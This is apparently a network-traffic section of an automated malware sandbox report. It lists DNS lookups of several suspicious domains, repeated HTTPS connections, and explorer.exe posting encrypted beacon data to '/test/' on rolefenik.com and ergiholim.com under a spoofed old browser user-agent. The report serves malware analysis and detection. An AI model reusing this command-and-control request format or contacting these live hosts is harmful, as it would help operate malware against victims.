Nov 13, 2024 18:23:46.121890068 CET	443	50083	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:46.121941090 CET	443	50083	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:46.857157946 CET	443	50083	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:46.857232094 CET	443	50083	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:46.857347965 CET	50083	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:46.857348919 CET	50083	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:46.857532024 CET	50083	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:46.857577085 CET	443	50083	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:46.862394094 CET	50084	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:46.862472057 CET	443	50084	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:46.862659931 CET	50084	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:46.862896919 CET	50084	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:46.862935066 CET	443	50084	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:47.622493982 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:23:47.721618891 CET	443	50084	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:47.721690893 CET	50084	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:47.722235918 CET	50084	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:47.722248077 CET	443	50084	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:47.723542929 CET	50084	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:47.723550081 CET	443	50084	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:48.028440952 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:23:48.496325016 CET	443	50084	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:48.496402025 CET	443	50084	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:48.496959925 CET	50084	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:48.509474039 CET	50084	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:48.509526014 CET	443	50084	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:48.518028021 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:48.518074989 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:48.518688917 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:48.518877029 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:48.518888950 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:48.715951920 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:23:49.135493994 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:49.135574102 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:49.143779039 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:49.143805981 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:49.188024044 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:49.188054085 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:49.587663889 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:49.587729931 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:49.587755919 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:49.587769985 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:49.587791920 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:49.587824106 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:49.588196039 CET	50085	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:49.588213921 CET	443	50085	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:49.594518900 CET	50086	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:49.594629049 CET	443	50086	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:49.594922066 CET	50086	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:49.594922066 CET	50086	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:49.595009089 CET	443	50086	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:49.919080973 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:23:50.472757101 CET	443	50086	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:50.473952055 CET	50086	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:50.474476099 CET	50086	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:50.474498987 CET	443	50086	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:50.475370884 CET	50086	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:50.475378036 CET	443	50086	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:51.310992002 CET	443	50086	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:51.311085939 CET	443	50086	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:51.311300993 CET	50086	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:51.316757917 CET	50086	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:51.316806078 CET	443	50086	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:51.330615044 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:51.330667973 CET	443	50087	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:51.330981970 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:51.331212997 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:51.331222057 CET	443	50087	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:52.243906021 CET	443	50087	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:52.244014025 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:52.244503975 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:52.244513988 CET	443	50087	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:52.245704889 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:52.245714903 CET	443	50087	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:52.419061899 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:23:52.739135027 CET	443	50087	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:52.739222050 CET	443	50087	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:52.739270926 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:52.739270926 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:52.739552021 CET	50087	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:52.739573956 CET	443	50087	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:52.744105101 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:52.744149923 CET	443	50088	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:52.744261980 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:52.744419098 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:52.744431973 CET	443	50088	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:53.654015064 CET	443	50088	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:53.654205084 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:53.654540062 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:53.654570103 CET	443	50088	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:53.655508041 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:53.655522108 CET	443	50088	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:54.248250008 CET	443	50088	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:54.248327971 CET	443	50088	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:54.248414040 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:54.248414040 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:54.248553991 CET	50088	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:54.248574972 CET	443	50088	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:54.268584013 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:54.268649101 CET	443	50089	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:54.268712997 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:54.268944979 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:54.268959045 CET	443	50089	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:54.892221928 CET	443	50089	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:54.892301083 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:54.893060923 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:54.893074989 CET	443	50089	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:54.893953085 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:54.893960953 CET	443	50089	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:55.285671949 CET	443	50089	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:55.285741091 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:55.285756111 CET	443	50089	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:55.285831928 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:55.286148071 CET	50089	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:55.286168098 CET	443	50089	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:55.291140079 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:55.291198015 CET	443	50090	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:55.291270018 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:55.291450024 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:55.291464090 CET	443	50090	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:56.148303986 CET	443	50090	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:56.149717093 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:56.151180983 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:56.151180983 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:56.151220083 CET	443	50090	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:56.151253939 CET	443	50090	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:56.793788910 CET	443	50090	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:56.793889999 CET	443	50090	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:56.794056892 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:56.794056892 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:56.794365883 CET	50090	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:56.794403076 CET	443	50090	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:56.814569950 CET	50091	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:56.814620972 CET	443	50091	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:56.814714909 CET	50091	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:56.814897060 CET	50091	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:56.814907074 CET	443	50091	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:57.231573105 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:23:57.448894978 CET	443	50091	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:57.448971987 CET	50091	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:57.449439049 CET	50091	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:57.449444056 CET	443	50091	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:57.450855970 CET	50091	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:57.450860023 CET	443	50091	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:57.970949888 CET	443	50091	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:57.971043110 CET	443	50091	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:57.971267939 CET	50091	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:57.971889973 CET	50091	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:57.971904993 CET	443	50091	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:57.980395079 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:57.980443001 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:57.981699944 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:57.984715939 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:57.984730005 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:58.865674973 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:58.865756989 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:58.866245031 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:58.866251945 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:58.867808104 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:58.867814064 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:59.743711948 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:59.743772030 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:59.743798971 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:59.743818998 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:59.743849039 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:59.743871927 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:59.744229078 CET	50092	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:23:59.744247913 CET	443	50092	104.21.15.162	192.168.2.6
Nov 13, 2024 18:23:59.755162954 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:59.755270004 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:23:59.755418062 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:59.757898092 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:23:59.757909060 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:00.671040058 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:00.671217918 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:00.671624899 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:00.671633005 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:00.672967911 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:00.672972918 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:01.386408091 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:01.386476040 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:01.386948109 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:01.386991978 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:01.386998892 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:01.387029886 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:01.387048006 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:01.387067080 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:01.387258053 CET	50093	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:01.387281895 CET	443	50093	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:01.392637968 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:01.392682076 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:01.392744064 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:01.392941952 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:01.392956018 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:02.013571024 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:02.013688087 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:02.014446974 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:02.014455080 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:02.015201092 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:02.015204906 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:02.737385988 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:02.737579107 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:02.737653971 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:02.737859011 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:02.738090992 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:02.738249063 CET	50094	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:02.738269091 CET	443	50094	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:02.753922939 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:02.754025936 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:02.754406929 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:02.754858017 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:02.754893064 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:03.637645960 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:03.637736082 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:03.642399073 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:03.642412901 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:03.644133091 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:03.644145012 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:04.503483057 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:04.503556967 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:04.503592014 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:04.503638029 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:04.503644943 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:04.503688097 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:04.503736019 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:04.503783941 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:04.503905058 CET	50095	443	192.168.2.6	104.21.92.105
Nov 13, 2024 18:24:04.503923893 CET	443	50095	104.21.92.105	192.168.2.6
Nov 13, 2024 18:24:04.508225918 CET	50096	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:04.508277893 CET	443	50096	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:04.508541107 CET	50096	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:04.508541107 CET	50096	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:04.508584023 CET	443	50096	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:06.448425055 CET	443	50096	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:06.448528051 CET	50096	443	192.168.2.6	104.21.15.162
Nov 13, 2024 18:24:06.919137955 CET	49982	9043	192.168.2.6	87.120.37.120
Nov 13, 2024 18:24:17.220603943 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:24:17.226912022 CET	9043	50052	45.143.166.230	192.168.2.6
Nov 13, 2024 18:24:17.227042913 CET	50052	9043	192.168.2.6	45.143.166.230
Nov 13, 2024 18:24:21.301868916 CET	443	50096	104.21.15.162	192.168.2.6
Nov 13, 2024 18:24:21.304238081 CET	50096	443	192.168.2.6	104.21.15.162

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2024 18:20:07.662364006 CET	62633	53	192.168.2.6	1.1.1.1
Nov 13, 2024 18:20:08.008101940 CET	53	62633	1.1.1.1	192.168.2.6
Nov 13, 2024 18:21:01.281399012 CET	53587	53	192.168.2.6	1.1.1.1
Nov 13, 2024 18:21:01.603162050 CET	53	53587	1.1.1.1	192.168.2.6
Nov 13, 2024 18:21:34.585939884 CET	62027	53	192.168.2.6	1.1.1.1
Nov 13, 2024 18:21:34.595989943 CET	53	62027	1.1.1.1	192.168.2.6
Nov 13, 2024 18:21:35.842710972 CET	65126	53	192.168.2.6	1.1.1.1
Nov 13, 2024 18:21:35.857342005 CET	53	65126	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 13, 2024 18:20:07.662364006 CET	192.168.2.6	1.1.1.1	0x7727	Standard query (0)	burjog.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:21:01.281399012 CET	192.168.2.6	1.1.1.1	0xcbc4	Standard query (0)	samomol.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:21:34.585939884 CET	192.168.2.6	1.1.1.1	0x7299	Standard query (0)	rolefenik.com	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:21:35.842710972 CET	192.168.2.6	1.1.1.1	0xa95	Standard query (0)	ergiholim.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 13, 2024 18:20:08.008101940 CET	1.1.1.1	192.168.2.6	0x7727	No error (0)	burjog.com	45.143.166.230	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:21:01.603162050 CET	1.1.1.1	192.168.2.6	0xcbc4	No error (0)	samomol.com	87.120.37.120	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:21:34.595989943 CET	1.1.1.1	192.168.2.6	0x7299	No error (0)	rolefenik.com	104.21.92.105	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:21:34.595989943 CET	1.1.1.1	192.168.2.6	0x7299	No error (0)	rolefenik.com	172.67.191.232	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:21:35.857342005 CET	1.1.1.1	192.168.2.6	0xa95	No error (0)	ergiholim.com	104.21.15.162	A (IP address)	IN (0x0001)	false
Nov 13, 2024 18:21:35.857342005 CET	1.1.1.1	192.168.2.6	0xa95	No error (0)	ergiholim.com	172.67.163.30	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rolefenik.com

ergiholim.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49988	104.21.92.105	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:35 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:35 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:21:35 UTC	753	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:21:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=J07vdHmpTbgXkpU0PT%2FSrvVfERHCS%2FTR%2Fxulfo6PY7tBjXcE4LmIrekqqblqQjd%2FwRtqQGixEER2CCRXuKpZZEiEA9ACPwRJjedptWI%2FYHMI4pHFIfEvVDC%2F5kxgjfVZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2070645cb9f9ea-SJC alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=41334&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=70093&cwnd=32&unsent_bytes=0&cid=ded42fc163fc42e5&ts=542&x=0"
2024-11-13 17:21:35 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:21:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49989	104.21.15.162	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:21:36 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:21:36 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
